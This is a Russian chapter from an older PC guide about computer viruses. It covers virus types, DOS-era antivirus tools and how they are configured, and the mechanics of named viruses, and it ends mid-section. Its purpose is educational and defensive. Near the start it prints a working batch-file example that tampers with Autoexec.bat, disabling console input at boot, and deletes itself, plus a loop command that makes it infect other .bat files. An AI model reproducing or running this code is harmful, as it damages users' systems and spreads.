ТаблицейБлоками.Оптимизация и спасение IBM PC: Компьютерные вирусы |
Последняя модификация: 10.08.2014 г
Страница загружена с адреса: http://comp.site3k.ru/ibmpc/chaptr17.html
Вирусы представляют собой небольшие программы, при своем запуске дописывающие себя к другим программам, чтобы уже, при их, запуске, производить новые, более опасные действия. Аналогом вируса служит следующий Bat-файл:
@ATTRIB -r C:\Autoexec.Bat @ECHO @cls >> C:\Autoexec.Bat @ECHO @echo _______________________СУШИ ВЁСЛА. ______>> C:\Autoexec.bat @ECHO @CTTY NUL >> C:\Autoexec.Bat @DEL %0
Принцип действия которого становится ясен после знакомства с командами Bat-файлов (последняя команда заметает следы).
Если в команде удаления указать реальное название файла-вируса, а перед ней вставить команды @for %%n in (*.bat) do copy /y %%n+%0 > nul и @CLS (последнее опять для маскировки), вирус будет еще и размножатся1, заражая все командные файлы находящиеся в одной папке с его носителем (при желании можно увеличить область распространения и разрушающий эффект, но с этим лучше не экспериментировать).
И, хотя настоящие вирусы построены более изощренно и вместо обращения к командам операционной системы, обращаются непосредственно к командам процессора, принцип действия у них тот же. Они пишутся, обычно на Ассемблере и программами-компиляторами превращаются в Exe-файлы, понять назначение которых могут только программы-антивирусы.
Вирусы заражают только файлы, которые могут быть приведены в исполнение программы, загрузочные сектора (в загрузочном секторе любого отформатированного диска содержится программа загрузки операционной системы, которая, собственно, и заражается), и драйвера. Документы и другие файлы не могут содержать готовых к исполнению вирусов, но могут быть ими повреждены или уничтожены (для чего вирусы и создаются). Тем не менее, некоторые файлы, не относимые непосредственно к программам, содержат в себе программы и могут быть заражены (стать носителями). К таким файлом относятся оверлейные файлы и интерактивные документы, содержащие макросы простейшие программы управления документом. Вирусы, содержащиеся в макросах, заражают шаблоны, вследствие чего зараженными оказываются все созданные на их основе документы. В таких документах периодически возникают спонтанные, неподконтрольные изменения, вплоть до удаления из них всей информации.
Попадание вируса в компьютер приносит если не материальный, то, по крайней мере, моральный ущерб. Их преднамеренное распространение равносильно злостному хулиганству и отсутствие соответствующих статей в уголовном кодексе необъяснимо.
Простейшие вирусы истребляются при первых же попытках распространения и их появление на компьютере нечто из области фантастики. Реальную возможность распространятся, имеют только:
САМОМОДИФИЦИРУЮЩИЕСЯ ВИРУСЫ систематически меняющие собственный код (полиморфные), в результате чего, антивирусные программы никогда не знают, в каком обличии те предстанут, а потому, не всегда умеющие их распознать.
МАКРО-ВИРУСЫ содержащиеся в макросах и практически нераспознаваемые в силу того что, программы не знают, является ли действие, запрограммированное в макросе вирусным или же, так и должно быть.
СТЕЛС-ВИРУСЫ находящиеся в памяти резидентно и полностью контролирующие операционную систему, в результате чего, антивирусные программы работают под их управлением и могут обнаружить их только в том случае, если они сами того захотят.
Для защиты от вирусов, нужно, прежде всего, на все, на что только возможно, поставить атрибут Только для чтения. Есть вирусы равнодушные к этому атрибуту, но, по крайней мере, часть вирусов, ничего не смогут сделать с файлом его имеющим.
Помимо защиты атрибутом, для защиты компьютера требуется перед установкой, запуском или копированием новых программ и документов проверить их на наличие вирусов. Для этой цели лучше всего подходит программа AVP (AntiViral Toolkit Pro), содержащая непревзойденную по своим размерам базу данных (библиотека от 20.04.1999г. содержит описание для распознания 26 369 вирусов). Как и все приличные программы, она так же производит эвристический анализ, выискивая в программах подозрительные места, так что фактически, обнаруживает любые вирусы, если не находится под их гипнозом (а пока вирусы не приведены в исполнение, никаким гипнозом они не обладают). К тому же, программа имеет хорошие сервисные функции: для проверки свежеприобретенного диска, достаточно вставить его в дисковод и, щелкнув по его ярлыку правой кнопкой мыши, выбрать в появившемся контекстном меню пункт AntiViral Toolkit Pro (аналогично с папкой и конкретным файлом). Желательно, чтобы при этом, она была настроена на проверку всех файлов, в том числе, внутри архивов. То, что сканирование займет пару-тройку минут не страшно не так уж и часто подобную процедуру требуется проводить.
Эта же программа наиболее эффективна в борьбе с самомодифицирующимися вирусами и, не распознав их перед установкой, наверняка вычислит при попытке навредить для чего служит ее резидентный модуль AVP Монитор.
Правда, AVP Монитор не только перехватывает подозрительные операции, но и сверяет все запускаемые программы со своими не мерянными библиотеками, что неизбежно отражается на скорости их запуска при этом, совершенно напрасно, ведь программы проверялись перед установкой, а для их заражения после установки потребовалось бы активировать вирус, действия которого, AVP Монитор должен был бы заблокировать. То есть он проверяет заведомо чистые программы или программы, зараженные вирусом, который ему просто не по зубам.
К сожалению, отключение этой функции не предусмотрено и для ее выполнения требуется установить проверку по маске, а саму маску оставить пустую.
Кроме того, при эвристическом анализе, позволяющем обнаружить действительно все вирусы (если это не активировавшиеся стелс-вирусы), программа склонна к ложной тревоге, объявляя вирусом, например Format.com (при чем, на всех проверенных дистрибутивах), в силу того что тот содержит установки на форматирования диска, считаемые AVP откровенно-преступными. Но ведь на то он и Format.com чтобы форматировать диск! А ввести исключения, для каких-то заведомо чистых программ в AVP нельзя.
По этому, при условии, что все входящее в компьютер программное обеспечение перед установкой проверялось на наличие вирусов, для непрерывного мониторинга, даже при работе в сети, лучше применять более скромные программы, которые так же остановят вирус при попытке нагадить, но менее заметно отразятся на быстродействии компьютера. Например, антивирусный сканер из нортоновских утилит или автозащиту из Norton Antivirus 5.0. Возможности последнего гораздо скромней чем у AVP (библиотека от 10.05.99 содержит данные всего на 21 753 вируса, кроме того, блуждающих по калифорнии, а не в степях Украины), но, учитывая, что это всего лишь подстраховка, такого количества вполне достаточно. Тем более что, главная задача схватить вирус на месте преступления будет выполнена. Да и с распознанием неизвестных вирусов он знаком, хотя не вполне адекватно на них реагирует и, вместо "подозрение на неизвестый вирус", сообщает: "Обнаружен Bloodhound Virus" (Bloodhound технология поиска еще неизвестеых вирусов).
Программа очень покладиста и до тех пор, пока не будет предпринята попытка привести к исполнению инфицированный файл, о работе автозащиты можно и не подозревать приятно, когда не возникает лишних тревог а, кроме того, позволяет вводить исключения и автоматически проверяет загрузочные сектора дискет главный источник стелсов. И, что так же, не мало важно, нортоновская автозащита загружается в память до загрузки основных программ Windows гораздо раньше, чем AVP монитор а значит, имеет больше шансов не допустить загрузку вирусов.
Norton Antivirus хорошо так же и тем, что делает критические снимки хранимых данных для отслеживания всевозможных изменений, некоторые из которых могут быть вызваны действием вирусов, а в случае чего, предоставляет возможность восстановить данные по этим снимкам независимо от способа их порчи (хотя конечно не всесилен). Подобный сервис имеет и AVP, но выполненый в виде отдельной утилиты AVP инспектор, что не очень удобно, хотя и предоставляет большие возможности.
Антивирусный датчик из нортоновских утилит не является подлинным монитором, он автоматический сканер, проверяющий диски и память через указанное ему время, и не преграждает путь вирусоподобным действиям. К тому же, его вирусные библиотеки обычно на год отстают от Norton Antivirus, по этому, его применение имеет смысл лишь в условиях, где заражение вирусами практически исключено или, в условиях отсутствия настоящих мониторов.
Лечить антивирусный датчик не может.
В борьбе с макровирусами лучше всего участвовать самому. Для этого в общих параметрах редактора Microsoft Word следует установить значок Защита от вирусов в макросах (аналогично с ярлыками интернет). Тогда при попытке открытия документа содержащего макрос, на экране появится соответствующее предупреждение, после которого можно либо открыть документ, не открывая макросов, либо вообще отменить открытие.
При желании рискнуть, можно проверить документ с помощью AVP и если тот даст добро, открыть вместе с макросами. Но сколько бы добра не давал AVP, перед открытием документа с макросом, желательно убедится в наличии резервной копии шаблона NORMAL, а еще лучше, зарезервировать все документы и если с течением времени с документами начнется непонятное, обновить шаблон из резерва. Если это не поможет (документы уже заражены), и если никакие антивирусы не помогают, документы либо отчищаются от макросов в ручную, либо резервируются в ТХТ-формате, где не остается ни одного макроса, либо копируются без макросов в Word Pad. После перенесения в другой формат, все исходные документы и шаблон уничтожаются, из резерва восстанавливается чистый шаблон (или создается заново) и документы опять открываются в нем. Все это занимает какое-то количество времени, но если большинство из них имеют копии в архиве очень небольшое.
Однако, поскольку это все же занимает какое-то количество времени, из одного только любопытства макросодержащие документы и неблагонадежные ярлыки интернета лучше не открывать.
Борьба с вирусами-невидимками (стелс-вирусами) головная боль любого антивируса. Главное тут не допустить их запуска. Тогда их можно обнаружить и удалить (лечить, зачастую, не удается).
Norton Antivirus для этой цели загружает свой небольшой модуль NAVDX.EXE через Autoexec.bat, когда программы только начинают загружаться, и сразу же проверяет память и наиболее важные файлы (можно проверить все остальное, но тогда загрузка затянется действительно на долго). Такая мера полезна, но мало эффективна, так как, во первых, если в силу ограниченности антивирусных библиотек и области поиска NAVDX не распознал вирус, тот может загрузиться в промежутке между проверкой NAVDX и загрузкой программы-монитора (в таком случае монитор станет послушной игрушкой в руках стелс-вируса), во вторых, как это обычно у таких вирусов и происходит, вирус может загрузиться, прямо с загрузочного сектора, опережая даже загрузку Io.sys и MSDOS.sys, вследствие чего запуск NAVDX практически теряет смысл, и хотя обычные резидентные вирусы будут им обнаружены и обезврежены, прежде чем успеют навредить, качественный стелс обведет его вокруг пальца.
Классический AVP рассчитан для работы в Windows и до его загрузки ни чего не предпринимает, и если Norton Antivirus с невидимками хоть как-то борется, то AVP против них фактически бессилен действительный удар по стелс-вирусам можно нанести, только загружаясь с чистого диска. По этому, при подозрении, что на компьютере злочинствует вирус (если это не макро-вирус), не обнаруживаемый ни одной антивирусной программой, работу компьютера требуется немедленно прекратить, пока этот вирус (если это действительно вирус), не отобедал чем-нибудь, особо ценным и загрузится с чистой, защищенной от записи загрузочной дискеты. При такой загрузке, попасть в оперативную память стелс-вирус может только из BIOS, а значит, антивирусная программа будет работать в стерильной обстановке.
Вообще, MS-DOS-антивирусы хромают на обе ноги и нуждаются в костылях. Широко распространенная программа DrWeb ярчайший тому пример. Ее убогая база данных (библиотека от 30.04.99г. содержит данные всего на 11 427 вирусов) и другие недостатки вызывают у составителей вирусов смех. В свой продукт они даже включают издевательские послания И. А. Данилову автору DrWeb (для них причинение ущерба окружающим только способ доказать что они умнее всех).
Вот одно из них (отредактированное):
NAME: MPEI Данилов, ты чайник, такой же тормоз как и Билл Гейтс (ты поймешь). Вирус, которому ты дал имя "AMD" на самом деле назывался Windows 95 MUST DIE!!!, А строчку Windows 95 MUST DIE!!!, он слал в виде мессаги по сети. Принеси свои извинения и, кстати, напиши Upgrade для юзеров. DRWEB очень хорошо разносит заразу по компьютеру. Эффект на 1000% И еще, лучше бы ты через DMA-бластер программил! Жду версий под Windows 9-ых вот там ты поработаешь через DMA. Балбес, ты Лозинского без работы оставил!!! Copyleft © Down'niloff Corp.,2000. All Lefts Preserved. Григорчук.
Некоторые вирусы отечественного производства, действие которых DrWeb должен распознавать, сами распознают запуск DrWeb и начинают водить ее за нос
но если где-то, на начальном этапе загрузки компьютера в систему проникает стелс-вирус (если это действительно, стелс-вирус), иного способа борьбы с ним может не быть.
В состав DrWeb входят:
DRWEB.EXE Программа Doctor Web
DRWEB.HL1 Файл интерактивной справки на русском языке
DRWEB.INI Файл настройки
DRWEB.PGP Удостоверяющая подпись программы
DRWEBASE.VDB Основная вирусная база
DRWvvvnn.VDB Дополнительные вирусные базы, где VVV номер версии программы, а NN номер дополнительной базы.
Все эти файлы можно скопировать на загрузочную дискету (исключение справки крайне нежелательно, поскольку в ней содержатся так же и сообщения программы, но ее можно отредактировать, удалив лишнее), чтобы иметь не только заведомо чистую операционную систему, но и заведомо чистую антивирусную программу.
Для того чтобы скрыть факт запуска программы DrWeb от не в меру интеллектуальных вирусов, И. А. Данилов рекомендует присвоить файлам DrWeb.exe, DrWeb.ini и DrWeb.hl1 новое имя (например: Волкодав.exe, Волкодав.ini и Волкодав.hl1 вообще, неанглоязычные имена уже и сами по себе достаточно хорошее прикрытие), но при загрузке с действительно чистой дискеты, это не понадобится: пока вирусы мирно дремлют на убитом ими винчестере, DrWeb передушит их как котят.
Вызов DrWeb возможен как в интерактивном, так и в обычном MS-DOS-режиме (пакетном).
Многие пользователи почему-то считают, что программа сканирует только память, (вероятно потому, что с этого все и начинается), но это не так. Она сканирует все что угодно, но для этого не достаточно просто вызвать программу: требуется указать область сканирования. По этому, по окончании сканирования памяти нужно открыть меню тест и выбрать пункт тестирование. Но лучше выбрать лечение, предварительно в пункте параметры меню настройки указав, что зараженные файлы нужно лечить с запросом перед лечением. Тогда, с одной стороны, в случае обнаружения вирусов, не придется искать их заново для лечения, с другой ничто с диска не исчезнет автоматически. А сканирование памяти, с которого обычно начинается работа программы, можно вообще отключить для этого при ее вызове указывается параметр /NM .
Среди прочих параметров полезно назначить временным диском виртуальный диск (для этого перед настройкой параметров требуется создать этот диск DrWeb, даже теоретически не признает не существующих дисководов и не может смотреть в будущее) и на виртуальном же диске создавать файл отчета (захочешь посмотришь, не захочешь он сам исчезнет после перезагрузки и не будет бес толку валяться в компьютере). Остальную информацию можно получить, прочитав файл DrWeb.Me прилагающийся к программе. Как и все документы MS-DOS, он написан в коде ASCII (Terminal). Однако, на всякий случай (трудно просмотреть файл, на убитом вирусами компьютере):
/AL проверка всех файлов (по умолчанию только имеющих внутреннюю структуру программ, в том числе и документов Word чего вполне достаточно, чтобы уморить ожиданием)
/CL работа в пакетном режиме, без диалоговой оболочки
/FN загрузить собственный знакогенератор (русификатор экранного шрифта)
/SD- не проверять вложенные каталоги
/HA избыточное сканирование (эвристический анализ) с максимальной подозрительностью
ESC клавиша прекращения сканирования, при работе в интерактивном (диалоговом) режиме
F10 открытие меню
ALT+F4 закрыть программу
F1 справка
ВНИМАНИЕ: если нет гарантии, что в памяти компьютера не находится резидентный вирус-невидимка (а такую гарантию может выдать только сам, находящийся в памяти вирус), при проверке дисков, через меню Настройки\Параметры необходимо установить опцию контроля над резидентными вирусами, иначе, при чтении программ для проверки на наличие вирусов, программы будут автоматически заражаться (и антивирус распространит вирусы по всему компьютеру). Если же, данная опция установлена, то при первом же заражении, вирус выдаст себя неизбежным изменением размера программы и DrWeb схватит его за руку (правда, для этого необходимо чтобы вирус либо не знал о запуске DrWeb, либо не был обучен затихать на время его работы).
Для установки контроля над резидентными вирусами в пакетном режиме, его вызов производится с параметром /RV.
Это вполне серьезная антивирусная программа MS-DOS. Являясь частью Norton Antivirus под Windows, она использует одни с ним библиотеки и распознает вирусов в два раза больше чем DrWeb.
К сожалению программа не вмещается на одной дискете, а наши хакеры, только благодаря которым и стало возможным распространение вычислительной техники на территории бывшего СНГ, не догадываются выпускать компакт-диски с готовым к применению нортоновским антивирусом под MS-DOS. По этой причине, использование NAVDX при загрузке с дискеты имеет некоторые трудности.
В состав программы входят:
Exclude.dat
Excludel.dat
Navdx.exe
Navdx.ovl
Navex15.exp
Navopts.dat
Navstart.dat
Virscant.dat
И еще несколько файлов Virscan1.dat, Virscan2.dat и так далее, в которых, собственно и содержатся данные о вирусах. Расположены указанные файлы в нескольких папках: часть из них расположена в папке содержащей Norton Antivirus, часть в одной из подпапок Program Files\Common Files\Simantec Shared\VirusDefs дальнейший путь может различаться в зависимости от версии.
Разместить все эти файлы целиком на одной дискете не удастся (если не сокращать библиотеку), так же, не удастся их нормально разделить. Файл Navex15.exp должен находится в одной папке с вирсканами, а это уже более полутора мегабайт (остальные файлы могут содержатся отдельно, в таком случае работоспособность программы обеспечивается добавлением файлов DefLoc.dat и DefInfo.dat с соответствующими указаниями, где первый указывает расположение второго, а тот расположение библиотек2 или вводом адреса библиотек в виде параметра при вызове NAVDX).
Программа Rescue входящая в состав Norton Antivirus, автоматически создавая загрузочные дискеты, поступает весьма хитро: она делит NAVDX на две части, (из трех изготовляемых ей дискет первая содержит программу Rescue и системные файлы MS-DOS, а две следующие отдаются под антивирус) ограничивая число переносимых на дискету библиотек. За неимением лучшего, пойдет и урезанная версия, но кто сказал, что лучшего нет?
Был бы MS-DOS-распаковщик, а сжатый чуть ли не до мегабайта NAVDX будет к нему приложен. После загрузки с чистой загрузочной дискеты, дискета с NAVDX вставляется в дисковод, ее содержание копируется на виртуальный диск и распаковывается гуд бай 21 753 вируса. Правда виртуальный диск имеет один недостаток: существует несколько вирусов, шифрующих загрузочные записи так, что без них доступ к жесткому диску не возможен; NAVDX справляется с этим, читая диски не средствами MS-DOS, а напрямую, но при создании в этой ситуации виртуального диска, виртуальный диск получает букву С (как единственно доступный жесткий диск) и как тогда NAVDX найдет реальный диск С, неизвестно. Впрочем, в этом (очень редком) случае, существуют компьютеры у знакомых, где NAVDX можно распаковать и перезаписать на три дискеты, где первая будет содержать сам антивирус с оверлеем, а две следующие по половине библиотеки и Navex15.exp.
Важнейшие параметры запуска программы:
/Heur3 максимальная подозрительность к объектам
/Prompt запрос на санкции к подозрительным и зараженным (по умолчанию только поиск)
/Repair автоисправление
/Delete автоудаление зараженных
/DoallFiles проверять все файлы (по умолчанию только программы именно они источники заражения, даже если остальные файлы испорченны, заразить они не могут и, учитывая что, сканирование в MS-DOS занимает невероятно много времени, их проверку лучше проводить из Windows).
/Zips проверять так же, в архивах (только самораспаковывающийся архив содержащий программу распаковки может быть заражен, остальные могут быть только испорчены, если, конечно, в них не упаковали уже инфицированные программы и то, эти программы самостоятельно из него не вылезут)
/Mem проверить только память
/Log: создать файл отчета (с указанием имени файла)
Значения по умолчанию содержатся в файлах NavOpts.dat маски тестирования и принимаемые меры; NavStart.dat определения тестирования при запуске с параметром /Startup (обычно используется на стадии загрузки в Autoexec.bat); Exclude.dat нетестируемые файлы и задаются при конфигурировании Norton Antivirus под Windows.
Дополнительные параметры, применяемые при разделении программы:
/cfg: каталог, содержащий библиотеки
/Opt: каталог, содержащий файлы настройки
Если при вызове программы не задан объект тестирования, но задана функция лечения, запроса на санкции или удаление, это расценивается как команда проверки памяти и всех файлов имеющих структуру программ, на всех доступных дисках. Если вообще ничего не задано, это работает как вызов справки.
Работает программа в два раза быстрее, чем DrWeb.
Полностью аналогична своему старшему брату из Windows и пользуется теми же библиотеками. В сжатом виде она вмещается на дискету и является наилучшим средством для борьбы с вирусами из заведомо чистой среды3. Однако, ее немерянные антивирусные базы требуют немерянного места в памяти и, тут уж приходится попотеть над каждым байтом. Однако, если сокращение загружаемых драйверов и прочего не желательно, вместо AVP можно воспользоваться ее безынтерфейсным вариантом AVPlite занимающим меньше места в оперативной памяти и управляемым из командной строки.
В состав AVP под MS-DOS входят:
AVP.KEY
AVP.LNG
AVP.OVL
AVP.SET
AVP.VND
AVP.EXE
AVPLITE.EXE
DEFAULT.PRF
И множество файлов с расширением .AVC являющимися антивирусными описаниями.
Важнейший параметр вызова:
/LR! после которого программа принимает русский язык по умолчанию.
Работает программа в два раза быстрее Navdx и в четыре раза быстрее DrWeb.
Эта программа аналогична программе AVP инспектор и, по сути, не является истинным антивирусом. Она предназначена для отслеживания всевозможных изменений на диске, произошедших за прошедшие сутки те же функции выполнит программа поиска файлов входящая в состав Windows, в режиме поиска всех измененных файлов за последний 1 день. Однако, наличие дополнительных функций делает программу AdInfo удобной для обнаружения вирусов, сумевших просочится сквозь антивирусную оборону, а подключаемый к ней лечащий модуль позволяет их не только найти, но и обезвредить (поэтому, многие вирусы, считают своей первостепенной задачей найти и обезвредить программу AdInfo).
Проверяет программа, также, и изменения в оперативной памяти, что позволяет ей обнаруживать активированные резидентные вирусы, в том числе и стелс.
Большим плюсом программы является наличие собственного знакогенератора, позволяющего ей загрузится сразу после загрузки Command.com, не дожидаясь загрузки экранных русификаторов, а значит обнаружить вирусы на самом раннем этапе загрузки, пока они еще не успели натворить новых бед.
Большим минусом программы является обнаружение вирусов задним числом, после того, как некоторые файлы от него уже пострадали. Однако, если другие антивирусы проморгали вирусную атаку, то AdInfo, не допустит хотя бы дальнейших бедствий.
3apaзa файлово-загрузочный вирус. Заражает Boot-сектора дискет и Io.sys жесткого диска.
При загрузке с инфицированной дискеты вирус считывает в память 5 секторов корневого каталога загрузочного раздела жесткого диска, проверяя наличие метки тома. Если она установлена, диск считается уже зараженным и никаких действий не производится.
Если же атрибут метки тома не установлен, вирус считывает с жесткого диска файл IO.SYS, копирует его в последние 256 кластеров логического раздела, проверяя, достаточно ли там места; корректирует FAT в соответствии с дублированием IO.SYS благодаря чему, средствами операционной системы отображается только этот дублер; копирует служебные поля IO.SYS в третий элемент корневого каталога, сдвигая все оглавление с третьего элемента по 80, и тем самым, уничтожая 80-ый элемент (файл или каталог); устанавливает для третьего элемента (копии IO.SYS) новый начальный кластер и, вдоволь натрудившись, подкрепляется оригиналом IO.SYS, записывая в него 1024 байта своего кода. После чего, устанавливает метку тома, чтобы остальная братва знала: домик занят. Когда же, при загрузке системы с жесткого диска, в память загружается файл под именем Io.sys, в память, на самом деле, резидентно загружается вирус, поскольку от настоящего Io.sys, там осталось только название4 (размер свободной памяти, при этом, сокращается на два килобайта).
Получив управление при загрузке с жесткого диска, вирус находит и считывает в память запрятанный в конце диска дубликат IO.SYS, благодаря чему, дальнейшая загрузка системы происходит как обычно и подозрений не вызывает. Между тем, вирус понемногу перехватывает INT 13h прерывание, служащее для чтения и записи на диск (или INT 16h, служащее для ввода команд с клавиатуры если это 3APA3A 2), и заражает загрузочные сектора попадающих в компьютер дискет, шифруя при этом свой код, для усложнения распознания одним из 12 имеющихся при нем кодировщиков. А для разнообразия, при загрузке системы в августе месяце он выводит сообщение: B BOOT CEKTOPE 3APA3A!
При попытке вылечить заразу, загрузившись с чистого диска и введя команду SYS C: (для перезаписи системных файлов), вирус не удаляется. Команда, основываясь на данных FAT (откорректированных вирусом), произведет перезапись только файла-дублера IO.SYS. И если она его вдруг запишет на новое место, то система вообще перестанет загружаться с жесткого диска, т.к., вирус не найдет этот файл, чтобы загрузить его в память.
Anarchy резидентный полиморфный стелс-вирус. Заражает COM, EXE файлы, а также DOC-файлы для WinWord версий 6.0-7.0.
При открытии инфицированного, документа с помощью Microsoft Word, вирусный макрос создает на диске EXE-файл в формате Win NewExe (NE), записывает в него код вируса и приводит в исполнение. Тот, в свою очередь, производит заражение командного процессора (COMMAND.COM) и программы WIN.COM, после чего удаляется, заметая следы.
При следующей загрузке компьютера, вирус запускается из зараженного Command.com или Win.com, еще до загрузки Windows и рассчитанных под Windows антивирусов, что позволяет ему контролировать их загрузку и работу, а при открытии любого документа текстовым процессором Word, автоматически его заражает, зачастую, полностью разрушая. В довершение ко всему, 8 и 30 апреля, а также 9 мая вирус выборочно уничтожает содержимое первого жесткого диска.
Предусмотренная в MsWord защита от вирусов в макросах в отношении данного вируса срабатывает только до тех пор, пока тот не стал резидентным, иначе она им просто отключается.
Amz нерезидентный вирус. В зависимости от модификации, 24 сентября, 1 марта или 13 сентября выборочно уничтожает информацию на всех доступных дисках. Amz.1100 также иногда уничтожает содержимое CMOS-памяти (энергозависимая, перезаписываемая составляющая BIOS) и создает файл BOPS-BOP.S.
Dead резидентный вирус. Ведет счетчик заражений внутри файлов. Как только число зараженных файлов достигает 255, вирус уничтожает содержимое диска D.
Ear.Leonardo нерезидентный шифрованный вирус. В зависимости от своих счетчиков может удалить все файлы в текущей директории, файлы c:\autoexec.bat и c:\config.sys, или записать в начало файла c:\io.sys текст "Leonardo v 2.0".
ExeBug загрузочный стелс-вирус. Иногда записывает в EXE-файлы троянский код, уничтожающий содержимое жесткого диска. Некоторые модификации вируса постоянно включают и выключают в CMOS-памяти признак наличия флоппи-дисководов. При обращении к флоппи-дискам вирус включает наличие дисководов в CMOS, после обращения отключает. В результате, при загрузке с чистой системной дискеты, дисководы могут оказаться неустановленными, и система начинает загружаться с инфицированного жесткого диска. Вирус, первым получив управление, установит свою резидентную копию в память, включит наличие дисководов и отдаст управление Boot-сектору диска A, так что, подключение и активизация вируса останется незамеченной. В результате, вирус получат управление даже при загрузке с чистого гибкого системного диска и, достижение чистой среды, при заражении этим вирусом, без проверки данных CMOS, практически невозможно.
Ls.1829 не опасный нерезидентный вирус. Иногда приводит к зависанию компьютера, может вывести текст: I love you, girls! You are so beautiful!.
Ck.761 резидентный вирус. Удаляет файлы CHCKLIST.MS. В 0 часов выводит текст: You iave a GLUCK!!! и трясет экран. При старте программы DRWEB.EXE выводит текст Error reading fat! и завершает ее работу.
CMOSDead резидентный шифрованный вирус. Примерно через год после попадания на определенный компьютер, уничтожает содержимое CMOS-памяти.
Bauman нерезидентный вирус. Будучи запущен из какойнибудь программы в пятницу, во второй половине дня уничтожает информацию на первом жестком диске. Оставляет в памяти резидентную копию, которая гуляет по разным адресам памяти и удаляет антивирусные программы с именами DRWEB и AVP при их запуске.
BAT.Batalia.2011 полиморфный вирус, заражающий BAT-файлы в текущем каталоге. При заражении файлов вирус использует архиватор ARJ, если тот доступен через переменную среды PATH (вообще, этот архиватор очень любим вирусами).
Инфицированный вирусом BAT-файл состоит из двух частей: первая содержит пять команд DOS, а вторая, является заархивированным с помощью ARJ-архиватора BAT-файлом, имеющим случайное имя. Заархивированный BAT-файл, в свою очередь, также содержит команды DOS и еще один ARJ-архив. При этом команды DOS являются основным телом вируса, производят поиск файла-жертвы, заражение и создание полиморфного кода5. Они выбираются случайным образом и, выполняемые ими действия в каждом конкретном случае различны. Вторая часть ARJ-архив защищена случайным паролем, запрещающим доступ к архиву и, не распознаваема антивирусами.
При запуске инфицированного BAT-файла, вирусные команды запускают архиватор ARJ для распаковки второго BAT-файла и передают ему управление. Этот BAT-файл создает временный подкаталог S_G_W_W, разархивирует туда файлы из второго архива, обеспечивающие заражение всех найденных им BAT-файлов, затем удаляет временный каталог и заканчивает свою работу.
BAT.Highjaq нерезидентный вирус-червь. Записывает свой код в WINSTART.BAT, ARJ-архивы и создаваемый вирусом системный драйвер. При старте инфицированного WINSTART.BAT-файла вирус создает файл C:\Q.COM, записывает в него свой код и запускает его из BAT-файла строкой: dir \*.arj/s/b|c:\q.com/i (команда DIR производит поиск всех ARJ-файлов и передает их имена вирусному файлу C:\Q.COM). Найденные архивы заражаются путем приписывания к ним еще одного поля в формате ARJ, содержащего неупакованный инфицированный файл WINSTART.BAT (данный файл, будет автоматически запускаться при старте Windows). После чего вирус (C:\Q.COM) проверяет, установлена ли его резидентная копия в памяти. Если нет, генерирует соответствующий код завершения (errorlevel) и заканчивает свою работу.
По данному коду завершения (если память не инфицирована) вирус в BAT-файле переименовывает файл C:\Q.COM в C:\ABCDEFGH.IJK (генерируя случайное имя) и дописывает в конец файла C:\CONFIG.SYS строку INSTALLHIGH=C:\ABCDEFGH.IJK для установки резидентной копии вируса при загрузке компьютера. Эта копия (вирус) будет перехватывать INT 8 и 21h и тем самым сообщать Bat-файлу о своем наличии, чтобы тот больше не суетился, и заодно, перехватывая обработчик INT 21h, блокировать запуск программ начинающихся на W. Однако, главная задача не в этом: загрузившись в память, вирус устанавливает контроль над COM-портами и отправляет по модему предназначенные для хакеров сигналы.
После получения этих сигналов, ожидающий их хакер звонит на модем и, получая от вируса управление, делает с компьютером все, что хочет, в том числе, добывает программы для обеспечения ими постсоветских пользователей или опустошает чужие счета в банке.
Антивирусные сканеры делают упор на поиске известных им вирусных кодов, но существование множества способов, позволяющих инсталлированным в память вирусам спрятать свой код (авторы антивирусов бессильны что-либо предпринять), приводит к тому что, если уж, использующий эти механизмы вирус установился, они его не замечают. Поэтому, надежная защита от стелсов обеспечивается ими только во время предварительной проверки данных перед перенесением на диск. Однако, если вирус еще и шифрован или слишком нов, они могут не обнаружить его и на этом этапе. В таком случае, не допустить активации вируса должен непрерывно включенный антивирусный монитор, но бывают ситуации когда применение монитора невозможно (например при перезагрузке в режиме MS-DOS), кроме того, заражение может происходить вполне легальным способом, не вызывая никаких подозрений В общем, иногда вирусам все-таки удается заразить BOOT-сектор и файлы первоначальной загрузки и тогда, единственным гарантом безопасности (опять же не абсолютным) могут служить только программы-ревизоры типа AdInf. Эти программы запоминают множество данных о состоянии диска и количестве свободной памяти, а при каждом новом запуске, проверяют, какие со всем этим произошли изменения. Организовываемые ревизорами проверки занимают не мало времени и проводить их чаще раза в сутки вряд ли целесообразно. Но если компьютер приходится перезагружать более одного раза в сутки (например, он выключается на время обеденного перерыва или его требуется перезагрузить после установки какой-либо программы), какая-то защита от загрузочных стелс-вирусов все-таки нужна.
Простой и эффективный способ обнаружения резидентных вирусов загружаемых на первоначальном этапе загрузки компьютера предоставляет программа NDOS, входящая в состав нортоновских утилит 8.0 для MS-DOS. Эта программа является интерпретатором команд, понимающим не только команды операционной системы MS-DOS, но и многое другие, не вошедшие в систему команд Command.com, но свойственные остальным высокоуровневым языкам программирования (в частности, языку QBASIC, с которым у NDOS наблюдается прямая аналогия), что существенно расширяет его возможности и сферу применения. Программа создавалась для замены Command.com, но может работать параллельно с ним, благодаря чему, ее применение не мешает загрузке Windows.
Несколько команд NDOS предназначены для проверки наличия свободной оперативной памяти. Именно они и интересны в данном контексте.
@DosMem[b] генерирует число равное количеству доступной для MS-DOS оперативной памяти выраженной в байтах.
@EMS[b] равное количеству свободной отображаемой памяти.
@Extended[b] расширенной.
@XMS[b] памяти подключенной драйвером HiMem.sys.
Команда IF имеет много дополнительных функций, одна из которых оператор GE означающий больше либо равно. Комбинация этих команд позволяет определить наличие в памяти вирусов следующим образом:
Создается файл Test.bat содержащий четыре строки (в зависимости от применения менеджеров памяти, вторая строка может потребовать соответствующей коррекции):
@Echo off Echo %@Eval[%@EMS[b]% + %@DosMem[b]%] Pause Exit
Команда NDOS /C Test для вызова этого файла помещается в Autoexec.bat вслед за командами устанавливающими русификацию экранных шрифтов, после чего компьютер перегружается. Появившаяся при перезагрузке цифра указывает суммарное количество памяти определенное математическим оператором @Eval. Она переписывается на листок, после чего нажимается любая клавиша для выхода из NDOS и продолжения обычной загрузки. Затем создается, собственно, программа-ревизор, включающая три бат-файла.
Первый (1.bat):
